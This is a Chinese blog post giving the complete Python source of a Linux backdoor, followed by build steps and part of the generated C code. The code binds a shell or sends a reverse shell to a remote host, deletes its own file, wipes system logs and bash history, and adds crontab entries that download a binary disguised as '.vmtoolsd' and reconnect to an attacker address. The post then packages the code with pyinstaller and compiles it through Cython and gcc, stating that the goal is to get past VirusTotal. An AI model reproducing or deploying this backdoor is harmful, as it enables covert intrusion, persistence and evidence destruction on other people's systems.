linux的shell后门尝试以及python快速转C

Posted 挖洞的土拨鼠

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零、背景


最近研究了一下之前的反弹shell的python代码块,写了一点代码尝试在LInux下绑定和反弹shell(正反向),看了一些代码,基本是两种思路。1、本地shell的输入输出通过管道与socket的输入输出进行映射。2、socket的指令在agent本地调用命令执行,结果再传回去(但是目前在测试中发现cd命令无法执行)。

一、Python源代码


比较简单,不在赘述,上源码

# -*- coding:utf-8 -*-


# 引入依赖的库、包、模块
import os
import fcntl
import socket
import subprocess
from optparse import OptionParser


# 定义shell函数
def BindConnect(addr, port):
    \'\'\'正向连接shell\'\'\'
    try:
        shell = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        shell.bind((addr,port))
        shell.listen(1)
    except Exception as reason:
        print (\'[-] Failed to Create Socket : %s\'%reason)
        exit(0)
    try:
        client,addr = shell.accept()
        #下面三行代码将socket的输入输出对应到了终端shell(terminal)的
        os.dup2(client.fileno(),0)#将clientsocket的内容对应到标准输入,也就是,socket的输入的内容到shell内容当中去
        os.dup2(client.fileno(),1)#将clientsocket的内容对应到标准输出,也就是,shell的输出的内容到socket内容当中去
        os.dup2(client.fileno(),2)#标准错误
        subprocess.call(["/bin/bash", "-i"])
    except Exception as reason:
        print (\'[-] Failed to Create Shell : %s\'%reason)
        exit(0)

def ReserveConnect(addr, port):
    \'\'\'反弹连接shell\'\'\'
    try:
        shell = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        shell.connect((addr,port))
    except Exception as reason:
        print (\'[-] Failed to Create Socket : %s\'%reason)
        exit(0)
    try:
        os.dup2(shell.fileno(),0)
        os.dup2(shell.fileno(),1)
        os.dup2(shell.fileno(),2)
        subprocess.call(["/bin/bash", "-i"])
    except Exception as reason:
        print (\'[-] Failed to Create Shell : %s\'%reason)
        exit(0)

#定义辅助功能函数
def SingletonRunning():
    \'\'\'单例模式运行\'\'\'
    pidfile = open(os.path.realpath(str(__file__).split(".py")[0]), \'r\')
    try:
        fcntl.flock(pidfile, fcntl.LOCK_EX | fcntl.LOCK_NB)
    except Exception as reason:
        print ("[-] There is another shell is running")
        exit(0)

def deleteSelf():
    \'\'\'自删除文件\'\'\'
    filename = os.getcwd()+"/%s"%(str(__file__).split(".py")[0])
    os.remove(filename)

def unsetLog():
    \'\'\'停止口令记录\'\'\'
    os.popen("unset history")

def clearLog():
    \'\'\'清除日志\'\'\'
    os.popen("rm -f /var/log/*")
    os.popen("echo \'\' > ~/.bash_history")

def appendCrontab():
    \'\'\'增加计划任务\'\'\'
    os.popen("echo  \'0 0 * * * wget https://github.org/cisp/.vmtoolsd ~/\' >> /var/spool/cron/crontab")
    os.popen("echo \'30 0 * * * ~/.vmtoolsd -r -a a.b.c.d -p 4445\' >> /var/spool/cron/crontab")
    os.popen("echo  \'0 0 * * * root wget https://github.org/cisp/.vmtoolsd ~/\' >> /etc/crontab")
    os.popen("echo \'30 0 * * * root ~/.vmtoolsd -r -a a.b.c.d -p 4445\' >> /etc/crontab")

# 主函数运行
if __name__ == "__main__":
    SingletonRunning()
    optParser = OptionParser()
    optParser.add_option(\'-r\',\'--reverse\', action=\'store_true\', dest=\'reverse\')
    optParser.add_option(\'-b\',\'--bind\', action=\'store_true\', dest=\'bind\')
    optParser.add_option("-a","--addr", dest="addr")
    optParser.add_option("-p","--port", dest="port")
    options , args = optParser.parse_args()
    deleteSelf()
    unsetLog()
    if options.reverse:
        ReserveConnect(options.addr, int(options.port))
    elif options.bind:
        BindConnect(options.addr, int(options.port))
    clearLog()
    appendCrontab()

二、使用pyinstaller编译


可以打包发布,这样对环境的依赖问题解决

pyinstaller -F backdoor.py

使用VT检查结果

三、使用Cython转换成C代码加速,且可以过VT

cython backdoor.py --embed
gcc `python-config --cflags` -o warcraft3 backdoor.c  `python-config --ldflags`

转成代码如下:
编译后,转成新的,VT测试

/* Generated by Cython 0.26.1 */

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#define __PYX_HAVE__warcraft3
#define __PYX_HAVE_API__warcraft3
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#define __PYX_DEFAULT_STRING_ENCODING_IS_ASCII 0
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#define __Pyx_PyObject_FromString __Pyx_PyBytes_FromString
#define __Pyx_PyObject_FromStringAndSize __Pyx_PyBytes_FromStringAndSize
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#define __Pyx_long_cast(x) ((long)x)
#define __Pyx_fits_Py_ssize_t(v, type, is_signed)  (\\
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static PyObject *__pyx_m;
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static PyObject *__pyx_empty_tuple;
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static PyObject *__pyx_builtin_open;
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static const char __pyx_k_r[] = "r";
static const char __pyx_k_os[] = "os";
static const char __pyx_k_end[] = "end";
static const char __pyx_k_r_2[] = "-r";
static const char __pyx_k_addr[] = "addr";
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static const char __pyx_k_bind[] = "bind";
static const char __pyx_k_call[] = "call";
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static const char __pyx_k_test[] = "__test__";
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static const char __pyx_k_print[] = "print";
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static const char __pyx_k_client[] = "client";
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static const char __pyx_k_echo_30_0_root_vmtoolsd_r_a_a_b[] = "echo \'30 0 * * * root ~/.vmtoolsd -r -a a.b.c.d -p 4445\' >> /etc/crontab";
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/* "warcraft3.py":13
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